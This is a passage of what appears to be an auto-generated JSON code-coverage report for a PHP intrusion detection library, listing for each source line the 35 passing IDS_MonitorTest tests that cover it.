class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel519": { - "header": "35 tests cover line 519", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel520": { - "header": "35 tests cover line 520", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel521": { - "header": "35 tests cover line 521", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel522": { - "header": "35 tests cover line 522", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel523": { - "header": "35 tests cover line 523", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel524": { - "header": "35 tests cover line 524", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel525": { - "header": "35 tests cover line 525", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel526": { - "header": "35 tests cover line 526", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel527": { - "header": "35 tests cover line 527", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel528": { - "header": "35 tests cover line 528", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel529": { - "header": "35 tests cover line 529", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel530": { - "header": "35 tests cover line 530", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li 